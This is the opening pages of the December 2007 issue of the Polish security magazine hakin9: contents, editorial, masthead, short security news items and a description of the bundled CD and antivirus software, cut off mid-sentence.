4
www.hakin9.org
hakin9 Nr 12/2007
hakin9
5
www.hakin9.org
hakin9 Nr 2/2006
W skrócie
6
Mateusz Stępień
Przedstawiamy garść najciekawszych wiadomości
ze świata bezpieczeństwa systemów informatycznych
i nie tylko.
Zawartość CD
10
Prezentujemy zawartość i sposób działania najnowszej
wersji naszej sztandarowej dystrybucji hakin9.live.
Narzędzia
Recenzja ArcaVir 2007
12
Recenzja Kerio MailServer
13
Atak
Niebezpieczny Firefox
14
Konrad Zuwała
Konrad w swoim artykule pokazuje, jak skompromi-
tować system użytkownika z przeglądarką Mozilla
Firefox, działający w środowisku Windows.
Poznaj swój komputer
– oczami intruza
20
Bartosz Kalinowski
Bartek uświadamia, jak wiele informacji udostępnia
się nieświadomie, oraz jak można je odnaleźć i w jaki
sposób mogą być wykorzystane.
Słabość mocnych haseł
36
Marcin Guzowski
Artykuł Marcina przedstawia metody tworzenia
silnych haseł oraz wskazuje, jaki jest teoretyczny
czas ich łamania. Przybliża także obecnie stoso-
wane techniki ataków na hasła.
Python – tworzenie fuzzerów
44
Piotr Łaskawiec
Piotr w swoim artykule przybliża nam pojęcie fuzzin-
gu oraz fuzzery napisane w Pythonie.
Obrona
FxCop – analiza kodu .NET
52
Artur Żarski
Artur wyjaśnia, jak działa i czym jest narzędzie
FxCop oraz czym jest analiza kodu.
Witam
!
To już ostatni numer magazynu hakin9 w roku 2007. Dbamy o
nasz produkt najlepiej, jak tylko można. Staramy się, aby był
coraz bardziej atrakcyjny dla naszych odbiorców, zarówno pod
względem merytorycznym, jak i zawartości załączonej płyty.
W związku z tym w ostatnim numerze mamy dla Was prezent.
Postaraliśmy się o dwie komercyjne wersje narzędzi: Dr.Web
Anti-Virus + Anti-Spam z licencją 6-miesięczną i Safe'n'Sec +
AntiSpyware z licencją 9-miesięczną. Poza wyżej wymienio-
nymi programami na płycie znajdują się także inne narzędzia,
takie jak: SPAMfighter, TmD Soft, e-Capsule Private Safe,
e-Capsule Private Mail – nie mniej ciekawe. Dbamy także
o zapewnienie jak największej bazy prezentów dla naszych
prenumeratorów, w związku z czym zachęcam do prenu-
meraty hakin9. Przechodząc do najważniejszej rzeczy, czyli
artykułów – tak jak i w poprzednim numerze mamy dla Was
dużo pożytecznych wiadomości. W dobie Internetu i niebez-
pieczeństw jakie on ze sobą niesie, postanowiliśmy, że tema-
tem numeru zostanie artykuł Niebezpieczny Firefox Konrada
Zuwały. Każdy interesujący się bezpieczeństwem i surfowa-
niem w Sieci, z pewnością zechce poznać luki znajdujące się
w tak popularnych narzędziach, jak przeglądarki internetowe.
Kolejną bardzo ciekawą pozycją jest artykuł Oczami intruza
Bartosza Kalinowskiego, który uświadomi nam, jak wiele cen-
nych informacji o sobie udostępniamy nieświadomie w Sieci
– mogą się one znaleźć w niewłaściwych rękach. Pozostaje
mi tylko zachęcić do lektury i zapoznania się ze wszystkim, co
znalazło się w tym numerze.
Życzymy wszystkim naszym Czytelnikom wesołych,
pogodnych, a przede wszystkim spokojnych Świąt Bożego
Narodzenia w rodzinnej atmosferze, a także, aby 2008 rok
nie zastawiał na Was komputerowych pułapek.
Pozdrawiam
Robert Gontarski
4
www.hakin9.org
hakin9 Nr 12/2007
hakin9
5
www.hakin9.org
hakin9 Nr 2/2006
jest wydawany przez Software–Wydawnictwo Sp. z o.o.
Dyrektor: Sylwia Pogroszewska
Redaktor naczelna: Martyna Żaczek
martyna.zaczek@software.com.pl
Redaktor prowadząca: Katarzyna Juszczyńska
katarzyna.juszczynska@software.com.pl
Redaktor prowadzący: Robert Gontarski,
robert.gontarski@software.com.pl
Wyróżnieni betatesterzy: Marcin Kulawinek, Roger Zacharczyk
Opracowanie CD: Rafał Kwaśny
Kierownik produkcji: Marta Kurpiewska marta@software.com.pl
Skład i łamanie: Marcin Ziółkowski, Michał Kozłowski
Okładka: Agnieszka Marchocka
Dział reklamy: adv@software.com.pl
Prenumerata: Marzena Dmowska pren@software.com.pl
Adres korespondencyjny: Software–Wydawnictwo Sp. z o.o.,
ul. Bokserska 1, 02-682 Warszawa, Polska
Tel. +48 22 427 36 77, Fax +48 22 427 36 69
www.hakin9.org
Osoby zainteresowane współpracą prosimy o kontakt:
cooperation@software.com.pl
Jeżeli jesteś zainteresowany zakupem licencji na wydawanie naszych
pism prosimy o kontakt:
Martyna Żaczek
e-mail: martyna.zaczek@software.com.pl
tel.: +48 (22) 427 36 77
fax: +48 (22) 427 36 69
Druk: 101 Studio, Firma Tęgi
Redakcja dokłada wszelkich starań, by publikowane w piśmie i na
towarzyszących mu nośnikach informacje i programy były poprawne,
jednakże nie bierze odpowiedzialności za efekty wykorzystania ich;
nie gwarantuje także poprawnego działania programów shareware,
freeware i public domain.
Uszkodzone podczas wysyłki płyty wymienia redakcja.
Wszystkie znaki firmowe zawarte w piśmie są własnością odpowiednich
firm i zostały użyte wyłącznie w celach informacyjnych.
Do tworzenia wykresów i diagramów wykorzystano
program
firmy
Płytę CD dołączoną do magazynu przetestowano programem AntiVirenKit
firmy G DATA Software Sp. z o.o.
Redakcja używa systemu automatycznego składu
UWAGA!
Sprzedaż aktualnych lub archiwalnych numerów pisma w cenie innej
niż wydrukowana na okładce – bez zgody wydawcy – jest działaniem
na jego szkodę i skutkuje odpowiedzialnością sądową.
hakin9 ukazuje się w następujących krajach: Hiszpanii, Argentynie,
Portugalii, Francji, Belgii, Luksemburgu, Kanadzie, Maroko, Niem-
czech, Austrii, Szwajcarii, Polsce, Czechach, Słowacji.
Prowadzimy również sprzedaż kioskową w innych krajach europej-
skich.
Magazyn hakin9 wydawany jest w 7 wersjach językowych:
PL
ES
CZ EN
IT FR DE
Nakład wersji polskiej 6 000 egz.
UWAGA!
Techniki prezentowane w artykułach mogą być używane jedynie
we własnych sieciach lokalnych.
Redakcja nie ponosi odpowiedzialności za niewłaściwe użycie
prezentowanych technik ani spowodowaną tym utratę danych.
C#.NET – diagnostyka sieci
58
Sławomir Orłowski
Tekst Sławka pozwala zorientować się, jak z poziomu
kodu C# diagnozować sieć komputerową.
Rootkity – skuteczna obrona
64
Grzegorz Błoński
Grzegorz w swoim artykule przybliży Czytelnikom poję-
cie rootkitów oraz opisze zabezpieczenia do ochrony
przed nimi.
Cyberlaundering
– pranie brudnych pieniędzy
70
Marcin Kopeć
Niezwykle interesujący artykuł przedstawiający, na
czym polega rozwijający się w Internecie proceder
prania brudnych pieniędzy, tzw. cyberlaundering.
Wywiad
Wywiad z Filipem Demianiukiem
z firmy Trend Micro
74
Katarzyna Juszczyńska, Robert Gontarski
Rozmowa z Filipem Demianiukiem – Technical Channel
Managerem w firmie Trend Micro.
Klub techniczny
InterScan Gateway Security Appliance
– wczesne powstrzymanie infekcji
77
Felieton
Grunt to mieć zasady
78
Patryk Krawaczyński
Księgozbiór
Recenzja książki
79
Kryptografia w Bazach Danych. Ostatnia Linia Obrony.
Zapowiedzi
82
Zapowiedzi artykułów, które znajdą się w następnym
wydaniu naszego pisma.
W skrócie
hakin9 Nr 12/2007
www.hakin9.org
6
Mateusz Stępień
www.hakin9.org
7
hakin9 Nr 12/2007
IBM dołączył do społeczno-
ści OpenOffice.org
Amerykański potentat komputero-
wy IBM oficjalnie dołączył do spo-
łeczności OpenOffice.org – firma
chce w ten sposób wspomóc rozwój
promowanego przez siebie formatu
ODF. Wierzymy, że ta współpraca
udoskonali nasze umiejętności,
dostarczy nowatorskich rozwiązań
dla użytkowników produktów IBM
i wypromuje oprogramowanie
OpenOffice.org – powiedział
Mike Rhodin, dyrektor generalny
Lotus IBM. Dołączenie do open-
source community oznacza współ-
działanie IBM z wieloletnim rywalem,
firmą Sun, która zapoczątkowa-
ła OpenOffice. IBM zapowiedział
również, że przekaże developerom
OpenOffice'a części kodu aplikacji
Lotus Notes. Firma zaimplementu-
je własny kod w OpenOffice, aby in-
tegracja z Lotusem była wyraźniej-
sza, mówi Doug Heintzman, dyrek-
tor oddziału IBM odpowiedzialnego
za wspomniany pakiet biurowy.
Serwery Ubuntu
zaatakowane przez
hakerów
Hakerzy zaatakowali serwery
sponsorowane przez firmę Cano-
nical, która jest sponsorem
projektu, sprzedaje support
i usługi konsultingowe do zna-
nej dystrybucji Linuksa – Ubuntu.
Pięć z ośmiu serwerów zostało
zatrzymanych po stwierdzeniu,
że są one aktywnie wykorzy-
stywane do ataków na pozosta-
łe serwery. Z tego, co udało się
ustalić, wynika iż hakerzy dostali
się do systemów poprzez
działające, nieaktualizowane
usługi FTP. Na serwerach nie
używano także SFTP ani innego
protokołu pozwalającego na
szyfrowanie danych.
Poważne błędy w Oracle 11g
D
yrektor firmy Red Database
Security, Alexander Kornbrust,
poinformował, że najnowszy sys-
tem bazodanowy firmy Oracle – 11g
– jest podatny na ataki SQL Injec-
tion, dzięki czemu cyberprzestępcy
mogą uruchomić szkodliwy kod na
zaatakowanym systemie. 11g to du-
ży krok naprzód, ale część luk, któ
re znalazłem dotąd w tym oprogra-
mowaniu, to zwykłe głupie błędy
programistyczne. Oracle powinno pod-
szkolić swoich programistów, bo nie
powinni oni popełniać tak podsta-
wowych błędów – stwierdził Alexan-
der Kornbrust. Dokładne informa-
cje, gdzie i jak można wykorzystać
błąd w Oracle 11g, zostaną ujawnio-
ne dopiero wtedy, gdy Oracle wy-
da poprawkę.
Oracle jest dostawcą komplek-
sowych rozwiązań informatycznych
dla dowolnego rodzaju przedsię-
biorstw i organizacji. Firma powsta-
ła w 1977 roku, a jej siedziba znajdu-
je się w Redwood Shores w stanie
Kalifornia w USA. Założona przez
obecnego prezesa Larry'ego Elliso-
na oraz Boba Minera i Eda Oatesa.
Firma obecnie zatrudnia 56 tys. spe-
cjalistów, zaś jej roczny obrót wy-
nosi ponad 14 mld USD; na badania
i rozwój przeznacza ponad 5 milio-
nów USD dziennie. Serwery baz
danych, oprogramowanie warstwy
pośredniej oraz narzędzia i apli-
kacje biznesowe, jak również usłu-
gi konsultingowe, szkolenia i asysta
techniczna oferowane są w 145 kra-
jach na całym świecie. Jednym ze
szlagierowych produktów firmy jest
relacyjna baza danych Oracle, która
posługuje się standardowym języ-
kiem zapytań SQL oraz posiada
wbudowany wewnętrzny język two-
rzenia procedur składowanych PL/
SQL.
W skrócie
hakin9 Nr 12/2007
www.hakin9.org
6
Mateusz Stępień
www.hakin9.org
7
hakin9 Nr 12/2007
Strony WWW to dzienniki
lub czasopisma
Na mocy postanowienia Sądu
Najwyższego, właściciele stron in-
ternetowych będą musieli je zareje-
strować na tych samych zasadach,
co czasopisma papierowe. Zgodnie
z prawem prasowym treść publikacji
nie wpływa na to, czy ma być uzna-
na za prasę. Jeśli więc strona
internetowa nie tworzy zamkniętej
jednorodnej całości i jest aktualizo-
wana co najmniej raz w roku,
to jest prasą. Gdy nowe informacje
pojawiają się na stronie częściej niż
raz w tygodniu, to mamy do czynie-
nia z dziennikiem, jeśli rzadziej,
to z czasopismem. Zarówno jedno,
jak i drugie trzeba zarejestrować
– tłumaczy Jacek Sobczak, sędzia
Sądu Najwyższego. Za wydawanie
dziennika lub czasopisma bez reje-
stracji grozi wysoka grzywna, a na-
wet ograniczenie wolności. O tym,
jakie będą konsekwencje postano-
wienia, zdecydują prokuratura
i policja, gdyż to one będą decydo-
wać o ewentualnym ściganiu
autorów stron WWW.
Luka w Visual Basic 6
Specjaliści odkryli poważny błąd
w Visual Basic 6. Każdy programista
korzystający z aplikacji narażony jest
na atak przepełnienia bufora. Cyber-
przestępcy są w stanie przygotować
odpowiednio spreparowany plik .vbp,
który może wstrzyknąć i wykonać
szkodliwy kod na zaatakowanym
komputerze. Obecnie nie ma żad-
nej łaty, która poprawiałaby wspo-
mniany błąd. Warto przypomnieć,
że okres wsparcia dla Visual
Basic 6 zakończył się w marcu
2005 i nie wiadomo, kiedy Microsoft
może zdecydować się na ewentual-
ne opublikowanie poprawek.
Visual Basic to język programowa-
nia wysokiego poziomu i narzędzie
programowania firmy Microsoft
Corporation. Składnia jest oparta na
języku BASIC, ale została znacznie
unowocześniona. W ostatnim
czasie, wraz z pojawieniem się plat-
formy .NET, Microsoft wydał nową
wersję VB – Visual Basic .NET.
InterScan Web Security Appliance
F
irma Trend Micro udostępni-
ła nową wersję InterScan Web
Security Appliance, zintegrowanego
rozwiązania, chroniącego sieć przed
różnego rodzaju zagrożeniami, taki-
mi jak wirusy, programy szpiegują-
ce, destrukcyjne witryny interneto-
we i niewłaściwe treści internetowe.
Web Security Appliance aktywnie
zabezpiecza przed atakami interne-
towymi dzięki zintegrowanej ochro-
nie przed zagrożeniami na poziomie
bramy internetowej. Produkt zawiera
funkcję badania na bieżąco reputacji
stron internetowych. Funkcja ta, na
podstawie zachowania i zawartości
strony, ocenia jej bezpieczeństwo,
dzięki czemu może działać jako
brakujące ogniwo firmowego łańcu-
cha zabezpieczeń. Ochrona przed
zagrożeniami internetowymito jed-
no z najważniejszych wyzwań dla
przedsiębiorstw. Firmom potrzeb-
ne jest solidne i łatwe w zarzą-
dzaniu rozwiązanie, które pozwoli
aktywnie zapobiegać podstępnym
atakom. Urządzenie InterScan Web
Security Appliance znakomicie za-
spokaja to zapotrzebowanie – mówi
Tom Miller, dyrektor działu rozwią-
zań korporacyjnych w firmie Trend
Micro. Urządzenie jest dostępne
w dwóch wersjach – InterScan Web
Security Appliance Standard i Inter-
Scan Web Security Appliance Ad-
vanced.
Firma Trend Micro została założo-
na w 1988 roku przez Steve’a Changa.
Trend Micro jest światowym liderem
na rynku zabezpieczeń bram interne-
towych. Główna siedziba Trend Micro
znajduje się w Tokio. Firma zatrudnia
ponad 1800 osób w 30 krajach, a przy-
chody ze sprzedaży w 2003 roku wy-
niosły 454 miliony USD.
Nowa Samba
D
eweloperzy darmowego ser-
wera plików i drukarek Samba
ogłosili wydanie wersji 3.0.26 pa-
kietu, w której załatano poważny
błąd, pozwalający użytkownikowi
na zwiększenie swoich uprawnień.
W pewnych okolicznościach użyt-
kownik domeny, korzystający z wty-
czek SFU windbind nss info lub
RFC2307, może zostać przypisa-
ny do niewłaściwej grupy i uzyskać
dzięki temu dodatkowe uprawnie-
nia, zupełnie inne od deklarowa-
nych przez administratora podczas
definiowania właściwości konta.
Wersje podatne na usterki to 3.0.25
do 3.0.25c. Luka ujawnia się tylko,
gdy używane są Active Directory
Services i ponadto nie ustawiono
atrybutów grup dla RFC2307 i SFU.
Przygotowano nie tylko nową edy-
cję Samby, ale również patch.
Samba to darmowy, powszech-
nie dostępny (i licencjonowany na
zasadach GPL) serwer plików i dru-
karek przeznaczony dla platformy
Linux/Unix. Protokół transmisji wy-
korzystywany przez Sambę i syste-
my Microsoftu to SMB (ang. Server
Message Block). Samba pozwa-
la na tworzenie heterogeniczne-
go środowiska, w którym nie tylko
w ramach jednej sieci lokalnej mo-
gą działać obok siebie komputery
z systemem operacyjnym Linux
oraz Windows, ale także mogą wza-
jemnie korzystać ze swoich zaso-
bów – plików i drukarek. Samba jest
dziełem Andrew Tridgella, który
obecnie kieruje grupą programistów
Samby ze swojego domu w Canber-
rze w Australii. Projekt ruszył w 1991
roku, kiedy to dla potrzeb swojej
lokalnej sieci Tridgell napisał pro-
gram serwera plików, który obsłu-
giwał protokół DEC firmy Digital
Pathworks.
W skrócie
hakin9 Nr 12/2007
www.hakin9.org
8
Mateusz Stępień
www.hakin9.org
9
hakin9 Nr 12/2007
Systemy operacyjne są
ułomne ze swej natury
Joanna Rutkowska, polska specja-
listka w dziedzinie zabezpieczeń
komputerowych, stwierdziła, że
najpopularniejsze systemy opera-
cyjne są ułomne ze swej natury. Li-
nux, Windows, Mac OS X zawsze
będą podatne na ataki. Niektóre
dziury dotkną wszystkich użytkow-
ników, nawet tych najbardziej do-
świadczonych. Technologia jest na
tyle ułomna, na ile jej użytkowni-
cy. Ale użytkowników można edu-
kować. Joanna Rutkowska, powo-
łując się na przykłady z systemu
Windows, stwierdziła: Możesz za-
blokować dostęp do rejestru, ale
– na przykład – źle napisany ste-
rownik do Wi-Fi pozwoli atakujące-
mu na ominięcie zabezpieczeń za-
wartych w systemie operacyjnym.
Sterowniki firm trzecich są łatwiej-
sze do zaatakowania niż sterowni-
ki Microsoftu, gdyż koncern ma za
sobą lata badań i doświadczeń.
Nowe produkty G DATA
G DATA przedstawiła nowe produk-
ty, przygotowane na rok 2008 i skie-
rowane do użytkowników bizne-
sowych. Są to: AntiVirus Business
– pakiet zabezpieczający przed za-
grożeniami z Internetu, MailSecurity
– program do ochrony poczty, Top-
Secret Next Generation 4.0 – na-
rzędzie do bezpiecznego przecho-
wywania danych oraz niszczarka
Next Generation – program do bez-
powrotnego usuwania danych. No-
we wersje zostały udoskonalone pod
względem wykrywalności i zdolności
usuwania wirusów, dodano też nowe
funkcje. Specjaliści z firmy G DATA
zadbali o komfort graczy online, od-
dając im do dyspozycji rozwiązanie
stworzone specjalnie dla nich – fire-
wall zoptymalizowany dla najpopu-
larniejszych gier PC. Nowością jest
również filtr spamu, rozpoznający
wiadomości w 10 językach. Znacz-
nie też zredukowano obciążenie sys-
temu wynikające z pracy progra-
mów. Premierę produktów w Polsce
przewidziano na październik 2007.
Microsoft przegrał z Komisją Europejską
U
nijny Trybunał Pierwszej Instan-
cji utrzymał w mocy wyrok i ka-
rę nałożoną na Microsoft w procesie
z 2004 r. Komisja Europejska zarzu-
ciła wówczas firmie wykorzystywa-
nie pozycji monopolistycznej i utaj-
nianie informacji przed konkurencją.
Trybunał, po zapoznaniu się z ar-
gumentacją korporacji z Redmond,
odrzucił apelację we wszystkich
punktach. W rezultacie Microsoft bę-
dzie musiał zapłacić nałożoną przez
KE karę finansową w wysokości 500
mln euro oraz będzie zmuszony
udostępnić cześć poufnych danych
dotyczących systemu Windows oraz
sprzedawać wersję systemu ope-
racyjnego bez niektórych aplika-
cji, jak np. Windows Media Player.
Microsoft zapowiedział, że od wyroku
sądu odwoła się do Europejskiego
Trybunału Sprawiedliwości.
Microsoft z siedzibą w Redmond
w stanie Waszyngton jest jedną z naj-
większych na świecie firm w branży
komputerowej. Firma została założo-
na w roku 1975 w Albuquerque w sta-
nie Nowy Meksyk przez Billa Gatesa
i Paula Allena. Podstawowym produk-
tem Microsoftu są systemy operacyj-
ne dla serwerów i komputerów oso-
bistych. Drugim filarem przychodów
firmy jest oprogramowanie wspierają-
ce prace biurowe – MS Office.
13-letni wirus atakuje Vistę
O
koło 100 tysięcy laptopów nie-
mieckiej firmy Medion, sprze-
danych w niemieckich i duńskich
marketach sieci Aldi, zawierało wiru-
sa stworzonego 13 lat temu! Stoned.
Angelina nie powoduje uszkodzeń
i rozpowszechnia się wyłącznie
z użyciem dyskietek, atakując MBR
Master Boot Record. W dystry-
buowanym z laptopami systemie
Windows Vista – Home Premium
Edition zainstalowano program an-
tywirusowy Bullguard, ale ten wy-
świetlał tylko komunikat, że infek-
cja jest niegroźna. Nie był w stanie
usunąć wirusa, gdyż uznał go za
wymarłego. Podobne kłopoty miało
w przeszłości sporo firm np. Apple
i jej iPody zarażone w październiku
minionego roku czy dyski twarde fir-
my Seagate, które w 1995 roku pa-
dły ofiarą tego samego wirusa, który
teraz znalazł się w laptopach nie-
mieckiej firmy Medion.
W skrócie
hakin9 Nr 12/2007
www.hakin9.org
8
Mateusz Stępień
www.hakin9.org
9
hakin9 Nr 12/2007
Wystartował blog
hackers @ microsoft
Na stronach Microsoftu pojawił
się nowy blog, znacznie odbie-
gający tematyką od innych obec-
nych w sieci blogów giganta
z Redmond. Microsoft od dawna
zatrudnia hakerów, którzy próbują
znaleźć luki i złamać
zabezpieczenia wbudowane
w jego oprogramowanie. Nieste-
ty, bardzo rzadko publikowane są
o tym informacje – ma to jednak
ulec zmianie dzięki nowemu blo-
gowi, w którym pojawić się
mają między innymi również infor-
macje o tym, w jaki sposób hake-
rzy pomagają firmie.
Prawdziwy haker jest kimś, kto
pragnie poznać zasadę działania
systemu. Microsoft umożliwił
to w etyczny i legalny sposób.
– to słowa pierwszej wiadomości
napisanej na blogu.
Mozilla 2.0.0.7
Mozilla Foundation wypuściła nową
wersję swojej przeglądarki interne-
towej Mozilla Firefox. Wersja 2.0.0.7
tym razem zawiera tylko jedną, ale
dość istotną poprawkę łatającą lu-
kę w obsłudze QuickTime. Wykryty
przez Petko D. Petkova błąd polega
na możliwości uruchomienia przez
wtyczkę QuickTime domyślnej prze-
glądarki WWW i wykonanie w niej
kodu JavaScript. Warto zainstalować
aktualizację, żeby zabezpieczyć się
przed potencjalnymi atakami.
ReactOS 0.3.3
W
ydano nową wersję ReactOS
0.3.3 – darmowej dystrybucji
systemu operacyjnego kompatybil-
nej z najpopularniejszymi produktami
firmy Microsoft. Jądro nowe go wy-
dania jest już w większości zgodne
z platformą MS Windows NT5. W wer-
sji 0.3.3 dodano kilka nowych sterow-
ników kart sieciowych, np. RTL8139,
dzięki czemu można się łączyć
z Internetem i korzystać z programów
typu ping, finger czy klientów FTP,
SSH oraz Telnet (PuTTY).
System zawiera już program
ReactOS Explorer, który – tak jak
Internet Explorer pod systemami
Windows – jest podstawową powło-
ką dla ReactOS. Lista działających
programów Win32 cały czas się po-
szerza, działa coraz więcej aplikacji
– od prostych, takich jak Notatnik, do
dużo bardziej rozbudowanych aplika-
cji użytkowych (np. OpenOffice.org)
i gier. Niestety, nie ma jeszcze
wsparcia dla takich technologii jak
USB, SATA czy NTFS. ReactOS do-
stępny jest w postaci instalacyjnej
oraz jako LiveCD.
Historia projektu sięga 1996 ro-
ku, kiedy to ReactOS nosił jeszcze
nazwę FreeWin95 i tworzony był
z myślą uczynienia go kompatybil-
nym z Windows 95. Jednak pod ko-
niec roku 1997 postanowiono za cel
obrać Windows NT, a FreeWin95
uzyskał nazwę ReactOS.
Policja zatrzymała oszustów komputerowych
K
rakowska policja zatrzymała 3
osoby w wieku od 23 do 29 lat,
które włamywały się do kompute-
rów różnych firm i zmieniały nume-
ry kont na fakturach płatności. Tym
sposobem firmy zamiast wpłacać
pieniądze do banków, przelewały
je na konta podstawionych osób.
Prowadzący sprawę policjanci po-
dejrzewają, że w okresie ostatnie-
go półrocza sprawcy oszukali po-
nad 100 firm na terenie całego kra-
ju, wyłudzając około 100 tysięcy
złotych. Oszustom grozi kara do 8
lat pozbawienia wolności. Krakow-
scy stróże prawa przypuszczają,
że osób zamieszanych w ten pro-
ceder jest więcej i przewidują dal-
sze zatrzymania.
Seagate przedstawia dysk z wbudowanym
mechanizmem szyfrowania danych
F
irma Seagate przedstawiła pierw-
szy na świecie dysk twardy
o średnicy 3,5 cala dla komputerów
PC z wbudowanym systemem zabez-
pieczającym, zapobiegającym nieau-
toryzowanemu dostępowi do zgubio-
nego bądź skradzionego dysku. Za
bezpieczeństwo odpowiadać ma szy-
frowanie algorytmem AES, obecnie
uznawanym za jeden z najlepszych
algorytmów szyfrowania danych. Uru-
chomienie komputera z wbudowa-
nym dyskiem FDE będzie wymaga-
ło podania przez użytkownika hasła.
Odczytanie danych z wyłączonego
dysku nie będzie możliwe, ponie-
waż będą one zaszyfrowane. Model
ten – o pojemności 1 TB! – uka
że się
na początku 2008 roku. AES (ang.
Advanced Encryption Standard, na-
zywany również Rijndael) to syme-
tryczny szyfr blokowy przyjęty przez
NIST w wyniku konkursu ogłoszone-
go w roku 1997. AES wykonuje 10
(klucz 128-bitowy), 12 (klucz 192-bi-
towy) lub 14 (klucz 256-bitowy) rund
szyfrujących substitution-permuta-
tion. Składają się one z substytucji
wstępnej, permutacji macierzowej
i modyfikacji za pomocą klucza.
Funkcja substytucyjna ma bardzo
oryginalną konstrukcję, która uod-
parnia ten algorytm na znane ataki
kryptoanalizy różnicowej i liniowej.
Na dołączonej do pisma płycie znajduje się hakin9.live
(h9l) w wersji 4.0.2 on BackTrack2.0, zawierająca przy-
datne narzędzia, dokumentację, tutoriale i materiały do-
datkowe do artykułów. Aby zacząć pracę z hakin9.live,
wystarczy uruchomić komputer z CD. Po uruchomieniu
systemu możemy zalogować się jako użytkownik hakin9
bez podawania hasła.
Programy:
• TmD Soft (licencja bez ograniczeń czasowych),
• Safe'n'Sec (licencja 9-miesięczna),
• Dr.Web Anti-Virus + Anti-Spam (licencja półroczna),
• e-Capsule Private Safe (licencja 2-miesięczna),
• e-Capsule Private Mail (licencja 2-miesięczna),
• SPAMfighter (licencja miesięczna).
Film instruktażowy:
• Wstęp do ataków typu SQL Injection.
Oto pierwsze dwa odcinki z serii filmów instruktażowych
przedstawiających najpopularniejsze metody ataków na
strony internetowe.
Tutorial:
• Fuzzing z wykorzystaniem programu Taof.
Tutorial przedstawia praktyczne możliwości języka
Python w zakresie fuzzingu.
Zawartość CD
Safe'n'Sec
Program z rodziny Host-based Intrusion Prevention
Systems, stworzony, aby chronić stacje robocze przed
dziurami w zabezpieczeniach i nieznanymi zagrożenia-
mi. Narzędzia sklasyfikowane jako produkty klasy HIPS
są niezbędne do zapewnienia całkowitego bezpieczeń-
stwa. Safe'n'Sec wykorzystuje ochronę proaktywną, po-
magającą chronić komputer przed zagrożeniami, które
nie zostały jeszcze wykryte i sklasyfikowane. Narzędzie
w celu wykrycia szkodników analizuje ich zachowanie,
a nie tylko kod źródłowy. Dzięki takiej metodzie możliwe
jest blokowanie niebezpiecznych czynności wykonywa-
nych przez wirusy czy konie trojańskie.
Ważne funkcje:
• kontrola aktywności aplikacji i analizy procesów,
umożliwiająca ochronę komputera przed nowymi
zagrożeniami,
• blokowanie złośliwego kodu w czasie rzeczywistym,
• kompleksowa ochrona przed próbami włamania się
do systemu,
• kompatybilność z popularnymi antywirusami i fire-
wallami,
• małe zużycie zasobów,
• przejrzysty i łatwy w obsłudze interfejs użytkownika.
SPAMfighter
Narzędzie służące do kasowania niechcianej przez
użytkownika poczty e-mail, czyli spamu. SPAMfighter
współpracuje z programami pocztowymi firmy Micro-
soft (np. Outlook) – dołącza się do nich w postaci pa-
ska narzędzi oraz dodaje nowy folder, przeznaczo-
ny na pocztę rozpoznaną jako spam. Wiadomości są
kwalifikowane na podstawie internetowej bazy danych
o spamie. Użytkownik korzystający z narzędzia może
sam zdefiniować listę nadawców poprzez stworzenie
białej i czarnej listy. Do pierwszej listy domyślnie są
dodawane wszystkie adresy ze skrzynki. Pełna wersja,
którą można wykupić po 30 dniach testowania, zawiera
dodatkowo pomoc techniczną, opcję blokowania wia-
domości według języków oraz umożliwia nieograniczo-
ną ilość wpisów do list. Kilka stwierdzeń, które charak-
teryzują ten program:
Każdy użytkownik otrzyma klucz licencyjny w mailu zwrotnym
odrazu po rejestracji na www.ti.com.pl/hacking
• zdobywca nagrody za technologię blokowania spamu,
• ochrona przed phishingiem, identyfikacja kradzieży i
innych oszustw,
• używany przez 3 miliony użytkowników na całym świecie,
• filtr języków, który umożliwia blokowanie maili w okre-
ślonym języku,
• filtr obrazów, rozpoznający spam wysyłany w postaci
graficznej,
• czarna lista adresów i domen,
• gwarancja prywatności – nikt nie widzi Twoich wiado-
mości.
Minimalne wymagania do korzystania z narzędzia to sta-
cja robocza z jednym z systemów operacyjnych: Microsoft
Windows 98, ME (32-bit), 2000, XP lub Windows Vista, za-
instalowany klient poczty (Outlook 2000 i nowsze, Outlook
Express 5.5 i nowsze, Windows Mail) oraz 10 MB przestrze-
ni na dysku w raz z 64 mb pamięci RAM.
hakin9.live
hakin9 Nr 12/2007
www.hakin9.org
10
hakin9.live
hakin9 Nr 12/2007
www.hakin9.org
11
Licencję dla oprogramowania Dr.Web pod Windows moż-
na uzyskać po rejestracji na stronie dystrybutora: www.
doctorweb.com.pl/hackin9/, używając kodu promocyjnego:
AVS-32.
TmD Soft
Narzędzie stworzone dla systemów Windows prze-
znaczone do szyfrowania plików, jak i wiadomości tek-
stowych, np. e-maili. Program jest łatwy w obsłudze
i prosty w dostosowaniu do indywidualnych potrzeb
użytkownika. TmD Soft wykorzystuje kilkadziesiąt
algorytmów szyfrujących oraz kilkanaście algorytmów
haszujących. Narzędzie daje także możliwość szyfro-
wania za pomocą kilku algorytmów na raz (tzw. multi-
szyfrowanie). Aplikacja udostępnia użytkownikowi
opcję stosowania kompresji, a także szereg możli-
wości związanych z bezpiecznym usuwaniem plików.
W skład narzędzia wchodzi kalkulator plików, któ-
ry jest przeznaczony do obliczania sum kontrolnych
CRC i funkcji skrótów HASH dla tekstu oraz plików.
Dr.Web Anti-Virus + Anti-Spam
Dr.Web pod Windows jest nie tylko produktem antywi-
rusowym. Posiada znacznie większe możliwości mogąc
wykrywać, leczyć i usuwać złośliwe oprogramowanie
takie jak: robaki mass-mailing, wirusy e-mail, wirusy
plikowe, trojany, wirusy stealth, wirusy polimorficzne,
wirusy bezpostaciowe, wirusy makro, wirusy MS Office,
wirusy skryptowe, oprogramowanie szpiegowskie, opro-
gramowanie wykradające hasła, keyloggery, płatne
dialery, oprogramowanie reklamowe, backdoory, progra-
my-żarty, złośliwe skrypty, wiadomości spam, pharming,
phishing i inne rodzaje malware.
Narzędzie może zostać zainstalowane już na
zainfekowanym komputerze i wyleczyć jego system
bez potrzeby instalowania żadnych dodatkowych
aplikacji. Istnieje opcja aktualizowania baz antywi-
rusowych Dr.Web przed instalacją, co zajmuje tylko
kilka sekund i zapewnia posiadanie najnowszych sy-
gnatur wirusów.
Aktualizacje baz antywirusowych Dr.Web są pu-
blikowane natychmiast, gdy dodane są nowe rekordy
– nawet do kilkunastu razy w ciągu godziny. Najnow-
sze aktualizacje są gotowe do pobrania zaraz po wy-
chwyceniu nowego zagrożenia przez producenta, jego
analizie i opracowaniu odpowiedniej szczepionki.
Dr.Web posiada najbardziej kompaktową bazę anty-
wirusową. Pozwala to na szybsze skanowanie plików,
co przekłada się na oszczędność czasu użytkownika
i niskie wymagania względem zasobów jego komputera.
Jeden wpis w bazie antywirusowej Dr.Web może wykryć
setki lub nawet tysiące podobnych wirusów.
Program w bardzo małym stopniu obciąża zaso-
